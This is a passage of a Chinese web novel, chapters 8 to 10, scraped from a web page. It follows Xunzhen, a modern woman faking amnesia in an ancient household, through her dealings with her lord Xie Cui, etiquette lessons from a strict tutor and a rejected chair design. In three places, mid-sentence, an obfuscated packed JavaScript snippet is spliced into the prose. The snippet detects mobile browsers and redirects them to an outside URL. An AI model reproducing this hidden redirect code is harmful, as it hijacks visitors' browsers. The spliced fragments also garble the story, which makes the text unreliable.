无奈之下,她先将一只脚伸进鞋子里,另一只脚略微提起,悬于半空,没有触地。 模样甚是局促。 寻真垂着头,想着该如何应对这尴尬境地。 谢漼却仿若无事发生,瞥了眼寻真裙摆之下的莹润脚趾,随后轻撩长袍,气定神闲在一旁落座。 声线平稳,淡然问道:“药可在按时吃?” 寻真点头:“嗯。” 谢漼:“还不曾想起一些来?” 寻真没直视,垂首低声:“嗯。” 寻真心下暗想,看来谢漼接受度还蛮高的嘛。 刚才那看书姿势,就是她妈见了,都得念叨几句。 没个女孩样,哪有人把腿放桌上看书的。 坐没坐相,站没站相之类的话。 刚想到这儿,便听谢漼道:“想来规矩也是忘得一干二净了。” 这话她不知该怎么答! 只能低着头。 谢漼继而又问道:“谁给你弄来的?” 谢漼问的自然是春宫图,寻真当然不可能卖了月兰。 弱弱地回:“我自己弄的。” 言罢,似有些心虚,一只脚搭在另一只上,脚指头微微蜷起。 谢漼看了眼,起身。 似乎要去问罪的模样。 “唉,等等——” 寻真见状,心中大急,站起来,慌乱中搁着袍子一把抓住谢漼的手臂。 谢漼身形一顿,停了下来。 寻真急切道:“你别怪她们,是我硬要的。” 谢漼目光落在她紧握着自己的手上,寻真察觉他的视线,手好似被烫了一下,立刻松开了。 两丫鬟心急如焚匆匆步入,待看清眼前景象,大惊失色。 两人不过稍稍走开一阵,听闻仆从来报说爷来了,便觉大事不妙,姑娘正在看那私密之册,若是被爷撞个正着…… 心中暗自企盼着姑娘机警,一听到爷的脚步声便能迅速将图册藏匿妥当,此乃最为理想之局面。 然而现实比她们料想得更为糟糕。 待两人进得屋来,见谢漼与寻真在屋内相对而立。 谢漼仪容整肃,衣着齐整,身姿翩翩如玉立于屋内。 视线往里,转到寻真那边,两人顿时惊得瞪大眼睛。 只见寻真衣衫略显凌乱,一只脚半套着绣鞋,另一只光着,白皙的脚面在衣摆间若隐若现。脸上似乎还残留些许点心碎屑,瞧着颇为狼狈。 再看谢漼手上,可不正拿着月兰费尽周折买来的春宫图吗? 两丫鬟不敢迟疑,双膝跪地。 寻真在一旁呆立着,不知该说些什么好。 谢漼落座:“月兰,你且说来。” 事已至此,只得硬着头皮开口。 月兰言说生怕寻真在床笫之事上懵懂无知,以致日后冲撞了爷,这才斗胆偷买了春宫图带进府。又连连自责,称自己一时糊涂,竟胆大包天,妄图插手他的房中事,实乃大错特错,悔不当初之类的话。 谢漼面上平静,并未动怒,片刻后,他微微抬眸,问道:“是否还有事未曾告知于我?” 8. 第 8 章 月兰垂首沉思片刻,低声道:“没了。” 谢漼问:“近些日子,真儿在言行举止上,是否有不妥之处?” 寻真低头看着自己光溜溜的脚,心内暗叫不好,只听月兰道:“近些日子,姑娘的确是在言行上肆意了些,不似以前那般时刻谨守礼数。” 谢漼又接连问了一些寻真平日里的举止详情,月兰将上次她穿中衣在房里溜达的事都说出来了。 谢漼转过头,淡淡瞥她一眼。 月兰说完,谢漼并未留下任何处置的话,起身,将那本春宫图顺手携走。 寻真眼睁睁看着他拿走,一句话也没敢说。 一屁股坐上椅子,呼出一口气。 不得不说,谢漼这人,浑身上下透着的那股压迫感,当真令人难以忽视。 引儿将绣花鞋捡来,放寻真脚下。 月兰取了帕子,为寻真擦拭嘴角。 点心碎屑飘落,月兰用手接着,擦干净了,她问道:“姑娘,您方才除了看那春宫图,可还做了些什么,被爷瞧见了?” 寻真要是把那姿势对二人示范一遍,怕是要被念叨个没完没了。 当然不能说了。 “我忘了。” 月兰:“姑娘,您于私下里松散自在些,原也无妨,可在爷面前,切切不可展露半分懒散模样。” 寻真仍想着那本被拿走的春宫图,心不在焉应一声:“哦。” 月兰:“爷这便走了,也不知……”言罢,叹了口气。 寻真眼珠一转,试探问道:“我再让你想办法搞本春宫图来,你应该也不会答应了吧?” 月兰:“姑娘,您怎的到如今还念着那……方才瞧爷行径,一眼不发便走了,也不知是不是恼了您。” 寻真撑额,随便他呗。 自那日后,谢漼仿若将此事抛诸脑后,数日光景,竟未踏足此间。 月兰见状,忧愁复上眉梢。 引儿宽慰道:“许是爷忙于公务,大抵已忘了姑娘那日不雅行径。” 虽说爷已允了主子贵妾之位,然终究未落地,此事恐有变数。 月兰心忧,却未将此忧虑宣之于口,只低叹一声:“但愿如此。” 这个院子里唯一对名分无所谓的大概只有寻真了。 寻真计划造个人体工学椅出来。 毛笔用不惯,寻真让人取了些硬炭,回想着椅子的形状,在宣纸上勾勒轮廓。 “月兰,引儿,东都城内,有没有厉害的工匠?” 月兰面露疑色:“姑娘,您寻工匠所为何事?” 寻真将草图给两人看:“我想做一把这样的椅子。” 月兰端详许久:“此椅好生怪异。” 引儿:“这椅背如此高耸,下方又是何物,怎的还有轮子?” 寻真指着解释:“这椅子可以转的,坐在上面,脚轻轻推一下就可以挪很远。” 月兰脑海中想象那番场景,只觉太过不雅,为难地说:“姑娘,此椅太过离奇独特,前所未闻,恐这东都城内,寻常木匠见之亦会束手无策。且此等怪异之物,若传出去,也会遭人非议,于姑娘清誉有损。” 引儿也道:“正是,姑娘。” 寻真:“所以我不要寻常木匠,要厉害的。” 两丫头都感到奇怪,为何姑娘失了忆,脑袋里突生诸多奇思妙想。 寻真搬出大杀器:“你们爷说了,有什么需要,可以派人去找他……我只想要把椅子而已。” 月兰:“爷当真如此说了?” 寻真:“当然了,我会随便编造他的话骗你们吗?” 月兰点头:“既如此,待姑娘的图纸绘完后,便差遣瑞宝拿去呈于爷前问询。“ 寻真:“好。”埋头绘制椅子的细节图。 谢漼下了值后,回府换了身便服,去望仙楼赴宴。 瑞宝拿了图纸,去静远居寻谢漼,却被院中下人告知,爷不久前出去了。 望仙楼为东都城内最豪华的酒楼,声名远扬,无人不知。 酒楼高达三层,主楼与副楼间,架设凌空飞桥,似长虹卧波,连通楼间往来。 暮色降临,整座酒楼被灯烛点亮,上下通明,交相辉映,宛若白昼。 舞女与乐手在中央的飞桥上,轻歌曼舞,丝竹和鸣。一派纸醉金迷的盛景。 包房皆挂着精致珠帘,帘子之上,垂悬着用绫罗绸缎绣制而成的匾额。 包房内的宾客,透过细密的珠帘向外凝望,欣赏飞桥上的舞曲。 和着节奏,不时用手轻轻拍打着大腿。 谢漼撩帘而入,悠然踏入室内,袍角几瓣娇艳的粉色花瓣随之飘落,悄然坠于脚边。 “五郎!” 潘竞手持一只竹箸,正随着乐曲节奏,有韵律地敲击着桌案。 见好友谢漼前来,他迅即投去目光,只见谢漼微微抬手,拂去身上掉落的花瓣。 此时,廊外一群舞女身姿婀娜,手中拎着精致的花篮,莲步轻移至栏杆旁,朝着楼下纷纷扬扬地撒去缤纷花瓣。 潘竞瞧着好友身上沾满花瓣的情形,心中了然。 想来定是被那些舞女格外眷顾,故而撒了一身。 于是,他脸上便浮现出一抹揶揄之色,打趣道:“五郎好是风采,我瞧着,这舞女的眼珠子都快黏在你身上了!” 谢漼神色自若,缓缓坐下,抬手为自己斟了一杯清酒,轻啜一口,唇边浮现一抹淡淡笑意,并未搭话。 韩现见状,朗声笑道:“五郎名扬东都,还有那一桩救风尘的风流韵事,这些舞娘们可不都心中倾慕,盼着郎君也能对她们出手相助,也好跟着过那锦绣前程。” 潘竞亦在一旁附和:“是极是极。” 两人所言,正是两年前的那桩事情。 彼时,谢漼连中两元,在士林之中大放异彩,前途一片光明。 诸多世家名门皆在暗中留意,思量着是否要与谢家联姻结亲。 潘家本就有意与谢家攀附姻亲之缘,然而,听闻谢漼内院之中竟有一女子,乃是青楼出身的乐伎。 潘竞的大伯母心存疑虑,便去询问潘竞此事真假。 潘竞为自家妹子的终身幸福考量,便直言不讳道:“大伯母还是放弃了罢,谢家五郎并非甚么绝佳的好归宿。” 话语中,便是委婉暗示了那女子之事。 潘竞大伯母听后,不禁暗叹,本以为寻得如意郎君,不曾想私下竟是如此行径,尚未成婚便与贱籍女子有所牵扯,实在有失体统。 她暗自思忖,谢家究竟是如何教养子弟的,竟致郎君这般行事。在外头偶尔逢场作戏也就罢了,竟然还将人带到家里去。 潘竞的大伯母随后便打消了联姻的念头。纵使谢五郎何等才华横溢,在外头瞧着仿若郎朗如月、高洁出尘,可内中却有这般一个“污点”。原以为是飘若谪仙的人物,怕是传言有误。她绝不能委屈了自家娇娇女儿,于是作罢。 恰在此时,屋内的琵琶女弹奏完一曲妙音。韩现抬手挥了挥,示意她退下。那琵琶女微微福了福身,目光却若有似无地朝着谢漼投去。 韩现叹了一气,故意说道:“我与子尚皆不如五郎啊。” “莫要再拿我说笑。”谢漼浅笑,从容地为两位好友斟酒,“今日难得诸位得空,不若玩个行酒令如何?” 两位好友齐声应和。 垂帘之内,时光悄然飞逝。 回谢府时,月上柳梢,谢漼微醉,脚步却稳。 到了静远居,仆人与他说,酉时二刻,清挽院的瑞宝来过,似是有事。 谢漼静思片刻,那仆从见状,遂又问道:“小的这便去将瑞宝唤来如何?” 谢漼摆手,转身,抬步朝着西边行去。 亥时初刻,寻真正趴在床榻上看书,这个点在古代算很晚了。 她早早便让月兰与引儿回屋安歇去了。 手中这本《灵狐志异》,情节略显平乏无趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776130|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,讲的是一书生偶然搭救一只小狐狸,而后小狐狸修成人形前来报恩的故事。 古言颇为晦涩,寻真需细细琢磨每句的意思才能看懂。 瞧着瞧着,困意渐浓,面庞压在书卷上,不知不觉间阖上双眸。 半梦半醒之间,寻真觉得腰间被人轻轻一握。 寻真顺着那力道翻了个身,双手抱着锦被,一只腿压下被子下,另一只在上面,夹住了被子。 此时,烛火闪烁摇曳,阴影斑驳地落于床榻上那娇柔的身躯。 寻真迷迷糊糊间想起还没吹烛,半睁眼眸,却惊见床边立着一人,唬得她陡然坐起。 她懵懵地看着谢漼,仰着脑袋。 双眸朦胧,仿若仍置身于梦境中。 “你怎么来了?” 谢漼将那本《灵狐志异》置于一旁。 寻真方才趴着沉睡,脸颊压出两条浅淡红印。 谢漼看着那红印道:“怎的,我不能来此?” 寻真瞬时清醒,匆忙下床,慌乱间穿鞋竟被绊了一下,身体一歪。 谢漼伸手一揽,垂眸瞧着她:“如此冒失。” 寻真忙往后一退,脱离他的掌控,微微垂首,咬了咬唇,终是唤出那声“爷”。 “这么晚了,爷过来有何事?” 说时,怎么都觉得别扭,舌头差点打结。 谢漼缓缓收了手,端详她许久,而后转身,于一旁的梳妆台前坐下。 “方才不是遣人来寻我?” 哦,原来是那个。 寻真轻捏着衣角,心中纠结一番,趿着绣鞋行至外面案几前,取出那张人体工学椅图纸。 谢漼视线随着她行动游移。 “……是这个。” 寻真将折叠的宣纸递给他。 谢漼接过图纸,却未即刻展开细瞧,只轻轻捏于指尖,注视着她。 寻真莫名涌起一种罚站的窘迫感,等了会,瞄他一眼,与他目光交汇瞬间,又急忙转开:“那个……你先看看吧……” 谢漼垂首,修长的手指缓缓展开宣纸,寻常之举在他做来却似行云流水,赏心悦目。 图纸上分为两部分,上端绘着人体工学椅的全景图,下端则是拆解图,座椅的细微之处皆被详细标注,且依照当下时代的刻度予以说明。 谢漼审视之时,并未如月兰与引儿那般流露出诧异之色。 寻真心底蓦地紧张起来,开口解释道:“我想找个工匠,做一把这样的椅子出来……详细方案我写在背面了。” 闻言,谢漼将宣纸翻转过来。 只见几行歪歪扭扭的小字映入眼帘。 这是寻真用毛笔写的,着实费了一番心力。 她先用简体字写,而后查阅《说文解字》,逐字替换。 这几行字大略写着,椅子各个部位适宜采用何种材质,以及几点要求,譬如中间的轴需制成灵活可转,椅身亦能转动,固定轮子之处亦是同理…… 谢漼捏着图纸,只是默默凝视,一语不发。 寻真见状,只得又道:“你上次不是跟我说了吗,有什么需要,可以找你。” 言毕,谢漼抬起头来。 寻真呼吸一滞,视线飘开。 谢漼手指轻轻一触,那黑色笔迹竟微微漾开,指腹亦留下一抹污灰。 “此乃炭笔所书?” 寻真轻点头。 谢漼将图纸折了两折,再无言语,随手放置于梳妆台上,淡然道:“安置罢。” ……啊? 寻真一怔,望向谢漼。 他这是直接将她的话忽视了? 谢漼的目光投过来。 寻真心中莫名憋屈,“哦,好……” 她转身上床,爬至半途,忽然想起月兰与引儿跟她科普的那些玩意儿。 比如睡外侧,睡前需伺候更衣…… 寻真身形一顿,爬床动作戛然而止,膝盖抵着床沿,臀部微撅对着谢漼。 9. 第 9 章 寻真思忖片刻,管他呢! 旋即快速爬到里侧,溜入锦被之中。 平躺于榻上,纹丝不动,没去瞧谢漼。 片刻宁静之后,谢漼唤来丫鬟。 随后,他步入净房,沐浴更衣毕,再度踏入内室。 烛火熄灭,室内一片幽寂,唯闻窗外竹叶沙沙作响。 寻真耳畔传来绵长均匀的呼吸声。她双手攥紧锦被,思绪却又纷扰杂乱起来。 鼻尖隐隐嗅到一丝酒气。‘ 谢漼喝了酒吗…… 腰间忽然被什么轻触。 是谢漼的手! 寻真顿觉周身汗毛竖起。 他的手掌缓缓贴上,手指隔着那薄薄一层中衣轻轻握了一下她的腰肢。下一瞬,她便被揽过,撞入谢漼怀中。 寻真一声低呼,本能地弹起,慌乱地往后缩,至墙边。 昏暗中,寻真听闻窸窸窣窣的声响,谢漼坐起身来,似正凝视着她。 寻真下意识屏住呼吸。 一时之间,万籁俱寂。 “罢了,睡罢。” 须臾,他轻声落下这句话,复又重新躺下。 寻真心跳如鼓,扑通扑通急速跳动。她躺回,几乎是紧紧贴着墙壁。 良久,心跳才渐渐平缓。 刚才谢漼是真的打算对她做什么! 许久之后,谢漼没有再动,呼吸逐渐趋于平稳悠长。 寻真才放心,闭上眼睛,渐入梦乡。 翌日醒来,谢漼已经不在了。 月兰满脸喜色:“姑娘,爷特意吩咐我等莫要唤醒您呢。”月兰这下便放心了,上次春宫图被发现,爷并没有处置,还是如此疼爱姑娘。 寻真刚睡醒,在床榻上呆坐着。 想起什么,目光投向梳妆台,上面空空如也。 她下了床,过去拉开抽屉,没有。又去外面书案找。 引儿轻声问道:“姑娘在找寻何物?” 不会被谢漼拿走了吧? 寻真:“我的那张图纸,你们看到了吗?” 月兰:“爷拿走了。” 果然! 寻真:“那他有没有说什么?” 月兰:“爷说,今日大夫仍会前来,为姑娘问诊。” 寻真又问:“那我的椅子呢?” 月兰:“爷拿走了,想来应当会为姑娘去寻工匠罢?” 会吗? 未时,大夫如期而至。细细查看寻真后脑,见那两处肿包皆已消退。遂换了另一副药贴,这药主要是助她恢复记忆的。 这次药比上次苦数倍。寻真喝完,整张脸皱作一团。 即便吃了蜜饯也难以压制那满口苦味。 这得放了十斤黄连吧! 一日还要喝三次。 次日,寻真瞧见药碗,想起那滋味,不禁干呕了一下。 月兰赶忙劝慰道:“姑娘若是期望早早恢复记忆,此药断不可少,大夫说了,虽苦涩了些,然药效颇佳,饮用半年便能渐渐恢复了。” 引儿手持一罐蜜饯亦道:“是啊,姑娘,咬咬牙便饮下罢。” 天呐,半年! 寻真一脸生无可恋,捏着鼻子,仰头一饮而尽。 月兰又道:“姑娘,瑞宝方才与我说了,爷请了教习嬷嬷来。即刻便要到了。”寻真嚼着蜜饯,疑惑道:“教习嬷嬷?” 月兰解释道:“听闻这位严嬷嬷先前是在宫中伺候娘娘的呢,待嬷嬷来了,姑娘可得用心研习。” 寻真一愣,心头涌起不祥预感:“要干嘛?” 引儿接话道:“是爷请来给姑娘教规矩、识礼仪的。姑娘如今前尘尽忘,规矩自当重新学起了。” 寻真:! 见寻真一脸难以接受,月兰轻声说道:“爷还留了话,十日之后会来看姑娘学得如何。想来这十日便是期限了吧,若是姑娘没学好,怕是要一直学到爷满意为止。” 引儿给她打预防针:“姑娘,这是宫里出来的嬷嬷,免不了严厉,若实在学不会,怕是会用些小手段,姑娘须得用心,认认真真学,不能让嬷嬷看轻了,也不让爷白费了苦心。” 寻真脑海中瞬间浮现出童年阴影“容嬷嬷”,不由得脱口而出:“她不会打我吧?” 月兰连忙安慰道:“最多也是打手板了罢,姑娘不必太过担忧,日常礼仪都很好学的,不难。” 打手板! 还体罚! 寻真担忧了好久。 待那嬷嬷来了,相处了一阵,寻真才稍稍放下心来。这严嬷嬷只看着凶,说话严厉了些,手上虽拿着戒尺,却也只是用来指出她的错误,并未真的打她。 寻真向来敬重师长,因而也打起精神应对。 走路之时,严嬷嬷要求脑袋不可乱动,重心务必沉稳,待为寻真带上发饰,更是强调步摇丝毫不能晃动。 光是走路,寻真练了整整一日,直练得腰酸背痛。 只觉得比军训还要累! 寻真稍一松懈坐下,后背便被戒尺轻敲了一下。 “娘子坐姿切不可随性散漫,身要挺直,脊梁似有一股劲儿轻轻上提,莫要歪斜。双腿并拢,微微侧向一旁,裙摆轻覆,不露缝隙。双手交叠,置于膝上,指节不松不紧。” 严嬷嬷声音严厉:“娘子当牢记,切忌左顾右盼,失了稳重之态。此乃彰显身份修养之举,万不可轻忽。” 寻真做出严嬷嬷要求的姿势。 听得她继续道:“娘子须知,坐姿绝非一时之事,而是需时时刻刻端持。切不可稍有懈怠,须臾间的松散都可能坏了周身的仪态。唯有如此,方能将这优雅仪态深植于心,融入骨血,一举一动皆成风范。” 神思游转。 寻真脑海中浮现出谢漼的身影。 从没见他有塌腰之态,仪态有亏之时。举手投足间,仿若天成, 深植于心,融入骨血,一举一动皆成风范。 说的就是谢漼那样的人。 夜晚来临,寻真已然累极,整个人瘫软如泥,四肢散开,毫无形象地四仰八叉躺在床上。 两丫鬟见姑娘实在疲倦,也未忍心提醒这睡姿不雅,只默默为她盖上锦被,悄悄退了出去。 寻真梦里都是严嬷嬷。 上半夜,被严嬷嬷追杀。下半夜,被严嬷嬷压着扎针。 那可恶的谢漼却只是坐在一旁悠然自在喝茶,冷眼旁观。 寻真正咬牙切齿间,被人轻轻拍醒。 “姑娘该醒了。” 寻真拥着被子,见严嬷嬷立在床边,恍惚间仿佛与梦境重合,不禁吓了一跳,身子抖了抖。 望向窗外,天色才刚放亮! 接着,严嬷嬷便开始讲解如何在上下床、洗漱、穿衣时保持动作优雅。 寻真刚睡醒,只觉严嬷嬷的话从左耳进,又从右耳飘出,根本没听进多少。 “姑娘可听明白了?”严嬷嬷问道。寻真下意识地点点头。“那姑娘便与老身示范一遍罢。” 寻真重新表演上下床。 严嬷嬷在一旁纠正。 “靠近床榻时,步幅需轻盈且缓,莫要莽撞急切,失了娴静之态。先以手轻轻抚裙,微微侧身,臀部轻缓下沉,坐在床沿,只着边际,切不可大幅落座,致令床榻震动。” “而后,双腿徐徐挪移上床,要并拢齐整,不可交缠错乱,亦不可随意踢腾……” 上下床反复折腾了几次,寻真只觉膝盖都已麻木。 直至严嬷嬷总算点头道:“尚可。” …… 如此一连学了五日,幸得寻真学习态度颇为认真,每日神速进步,严嬷嬷终是露出些许笑容。 “姑娘大有进益了。” 寻真缓缓颔首:“多谢嬷嬷夸奖。” 严嬷嬷满意地点点头。 寻真当然是表面一套,背后一套。 十二年应试教育,应对之法那是刻在骨子里的! 严嬷嬷在时,寻真便打起十二分精神应对,严嬷嬷一旦离开,又恢复原型。 两丫鬟虽瞧在眼里,心疼她这些日子的劳累,也只装作未曾看见。 寻真暗自给自己加油鼓劲,脑海中有个倒计时牌。 只要撑过十天,等谢漼看过,这折磨就结束了! 十日后。 严嬷嬷向谢漼禀告寻真的表现,脸上满是赞赏之色,道寻真于规矩礼仪上虽一窍不通,宛如一张白纸,却坚韧非常,努力做到极致,直至身子实在支撑不住才会停歇。五日便已学得极好,现下,已学成,她已无甚可教之处了。 谢漼脑海中蓦地浮现出寻真种种行止,沉思半晌后,微微点头。 隔日,谢漼跨入清挽院。 寻真提前得知消息,心想,应该是谢漼出现后,考试就开始了。 她在院门口相迎,待谢漼走近,轻轻福了福身。 谢漼停在面前,上下细细打量,目光在她身上停留许久,而后抬步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776131|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻真跟在其后,脚步轻移,头上步摇纹丝不乱,步子小巧而沉稳,唯见脚尖从裙摆下露出一点,裙摆随之轻轻飘动。 谢漼在案前坐下,寻真从月兰手上接过托盘,为谢漼斟了一杯茶,放他面前。 谢漼目光顺着茶杯上的手,移至她面容之上。 果如严嬷嬷所言,已然学成。 谢漼轻执茶杯,略触杯沿。 “可用了饭?” “在等爷呢。”寻真回道,“爷现在可要用饭?” 谢漼点头。 寻真候在一旁,为他布菜。 谢漼吃了几筷,见她额上沁出汗珠。“坐下一起用吧。” “是。”寻真颔首。 八月初,已然酷热难耐。 谢漼屋中冰块不断,整日阴凉,丝毫不觉炎热。 谢漼问道:“怎的不放冰块?” 月兰忙答:“姑娘才出了月子,大夫说,仍需好好养着,不能贪凉,怕落下病根,因此奴婢不敢用冰。” 谢漼点头,目光投向寻真,见她吃饭细嚼慢咽,举手投足皆合乎礼仪,无半分粗鄙不雅之态,暗自满意,仍不露声色,温言问道:“这几日研习规矩礼仪,可累?” 寻真摇头:“不累。” 谢漼道:“如此很好,先前那小儿憨态,以后万不可再有。” 小儿憨态?? 寻真微微笑道:“是。” 谢漼放下筷:“我尚有公务去处置,不便久留于此,你歇着罢。” 寻真垂着脑袋:“是,爷您慢走。” 快走! 谢漼站起身来,手掌盖在寻真脑袋上。 轻轻抚了抚她的发。 寻真浑身一僵。 谢漼的袍袖在颊边拂过,带起丝丝麻痒之感。 待他气息远去。 寻真陡然松懈下来,终于自在了,松了腰,夹菜吃饭。 - 寻真发觉她这院子,位置还蛮偏的。 庭院之后,一泓池塘静卧,水面微光闪烁。 再往远处眺望,一道偏门悄然隐于草木之间。 寻真溜了出去,月兰与引儿顿时惶恐万分。急令一众仆人四散探寻。 待寻真现身,月兰疾步向前,双手紧紧握住寻真手臂,目光上上下下、仔仔细细地打量,确定寻真完好无损后,方才如释重负,长舒一口气,嗔怪道:“姑娘,您这一去,可真把我们吓得魂飞魄散。” 寻真:“我就在旁边逛了逛。” 想以前,姑娘向来深居简出,整日幽居于庭院内,鲜少有外出之举。 月兰:“姑娘,您是忘了,爷此前有过交代,尽量不要出院子。” 寻真:“为什么?” 月兰:“料想是爷担忧姑娘会遭遇不测。” 寻真脑海中浮现出那日被掐脖的场景,打了个寒噤。 “不出去,也有危险,上次我还不是差点被掐死。” 引儿赶忙连呸数声,急道:“姑娘,此等不祥之字,可万万不能随意出口!姑娘可是要长命百岁的!” 寻真瞅着她笑。 月兰端来药碗,轻声催促:“姑娘,该饮药了。” 寻真挂在嘴角的笑容瞬间消散,愁眉苦脸地端起药碗。 勉强饮完,只觉胃中一阵翻江倒海,几欲呕吐。 心想,她是装失忆,不是真失忆。 这药岂不是白喝,纯纯折磨! 至午后,骄阳高悬于碧空中,蝉鸣此起彼伏。 寻真将沙袋系在手腕上,练毛笔字。 热气蒸腾,静不下心。 于是寻真将引儿和月兰支出去,跟她们说,看到有人来,就在外面唤一声。 待两丫鬟离去,寻真到床前,脱掉碍事的外衫,身上只留一件肚兜与一条中裤。 才觉得清爽自在了。 寻真一手持书,另一只持扇子轻摇,躺在床上。 在宽阔的拔步床上肆意翻滚,一会这个姿势,一会儿那个姿势,间或伸展腰肢,惬意得很。 其实古代版吊带还蛮好看的。 寻真捏着肚兜,细细端详起来。 版型精巧,贴合身形,胸前绣工精致细腻,繁复花纹栩栩如生。布料质地虽略显硬挺,触手却并不磨人。肩后系带的用料也很好。 放现代,稍作改良,就是时尚单品。 可惜在这里,室内穿都不行。 寻真想着又叹一口气。 10. 第 10 章 谢漼正在谢二爷书房中。 谢彦成沉声道:“如今赋税苛重,百姓苦不堪言长此以往,民怨必深,恐有民变之危患。缮之,你才思敏捷,对此可有妥善之良策?” 谢漼略作思索:“侄儿以为,当务之急乃是全面丈量土地,务使赋税征收皆依田亩之实际数量而定,如此方能确保税负公平,不使百姓蒙冤受屈。” “再者,需着力完善户籍之制,详尽明确成丁之数目,令纳税人口清晰可辨,差役摊派亦能合理公正,各户所担皆合其力。” 言至此处,稍作停顿,继而又道,“可削减诸多繁杂苛捐杂税,仅留存如田赋、户税这般必要之正税,使百姓肩头重担得以舒缓。” “而从长远计议,当大力鼓励农桑之举,劝民勤耕细作,且积极兴修水利工程,疏浚河道,筑堤修堰,如此一来,百姓之产出自会丰饶有加。即便赋税稍有削减,亦能保国家仓廪充盈,财用不竭。” 谢彦成静静聆听,频频点头,对这自幼亲自教养长大、聪慧过人的侄儿深感满意。 然心中却又不禁泛起一丝惋惜之意。 侄儿诸事皆优,德才兼备,仪表堂堂,唯那桩婚事处置太过草率随意,实难令人称心。 吕家那姑娘,无论才情容貌、家世门第,与他相较,皆似云泥之别,实在难以匹配。 至于西院那个伎子,更是身份低微,登不得大雅之堂,更不必提。 念及此处,谢彦成轻咳一声,缓缓开口道:“缮之,你亦快及冠之年了,你房中之事,二伯本不应多嘴。只是你如今前途一片光明,圣上又对你格外赏识,二伯忧心于你,不得不提醒你一句,于女色一事之上,需得更加审慎克制。切不可沉溺其中,否则于仕途之上必有妨害,恐将多年努力付诸东流。” 谢漼神色平静如水,应道:“侄儿明白。” 言罢,恭敬行礼,而后转身,稳步出了谢二爷的院子。 行于庭院回廊之间,谢漼脑海中依旧萦绕着赋税之题,将方才所言之各项措施细细思量,逐一深入细化,斟酌每一处细节,谋划每一步施行之法。 款步跨入静远居时,一篇关于赋税改革之策论已然在心中勾勒成形。 文思泉涌,如江河奔腾。 书房,他径直走向书案,铺纸提笔。 笔锋游走如龙蛇,洋洋洒洒,一挥而就。 书写既毕,他神色专注,逐字逐句审阅一遍。 片刻后,另取纸张,补写一段论述。 终了,再次从头到尾审视一番,确认无误,方微微点头,将纸张收好,置于一旁。 一晃眼间,暮色渐浓,腹中渐感饥饿。 小厮承安轻手轻脚走进书房,恭恭敬敬地问道:“爷,可要用饭?” 谢漼搁下手中书卷,淡声道:“去清挽院。” 谢漼想起二伯此前那番言语。 二伯竟将他视作那等沉迷美色、玩物丧志之徒。 于他而言,女色不过是生活中可有可无之点缀,如何能到克制不住的境地,更莫说因此而影响仕途前程。 不禁轻轻摇头,唇角略略上扬,露出一抹似有若无的笑。 谢漼一到清挽院,整个院子的人都忙碌起来。 雕花檀木桌上,佳肴已备,热气腾腾。 寻真立在一旁,手中玉筷轻持,为谢漼布菜。 此刻已至戌时,现代时间就是晚上八点半,在古代,一般这个点都睡了。 寻真两小时前就吃过了,早早躺上床,让所有人去休息。 谢漼现在过来,害得她们都得加班! 心里怨念,面上当然不敢显露出来。 谢漼目光落在寻真身上,见她举止端庄,心中暗自赞许,遂轻声开口道:“坐下一同用膳罢。” 寻真也不客气,坦然入座,就当吃宵夜。 食毕,谢漼起身,踱步至庭院之中。 他负手而立,仰首凝望夜空。 此时已近月中,那一轮明月高悬天际,几近圆满。 今夜苍穹澄澈如洗,无一丝乌云,亦无半缕清风。是赏月的好天气。 寻真本想直接回屋休息,月兰扯扯她衣服,眼神暗示。 寻真懂了,是要她等着,一会儿侍奉谢漼洗漱。 寻真打了个哈欠,心想,来到这古代,作息倒是变得规律了。 要以前,这个点还在刷题呢。 寻真的目光落在谢漼的背影上,感叹,古代人也没什么娱乐消遣活动,这些个文人雅士,除了吟诗作画,大概也只能赏赏月了。 谢漼衣袂轻拂,转过身来。 寻真匆忙间调整身姿,还好谢漼没留意。 谢漼吩咐丫鬟准备纸墨,迈向雕花梨木桌案。 桌案上,雪宣已然平整铺就。 丫鬟上前,正欲执墨研磨,谢漼抬手,示意丫鬟退下。 丫鬟们鱼贯而出,屋内瞬时静谧无声,只剩谢漼与寻真二人。 谢漼回首,目光落于寻真身上,双眸如皎月,唤她一声。 “真儿。” 那声音仿若一缕幽风,轻轻拂过寻真耳畔。 “嗯?” 寻真正思绪飘飞,神游天外。被谢漼这突如其来的一声吓了一跳。 说真的,她极其不适应谢漼这么叫她。 怎么原身恰好名字跟她一样呢。 怕她穿越没代入感吗? 那双桃花眼注视她:“来,为我磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776132|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨。” 寻真应了声,走过去。 解锁“红袖添香”成就失败。 寻真不慎往砚台倒了过多清水,几近满溢。 她拿着墨锭,面露尴尬。 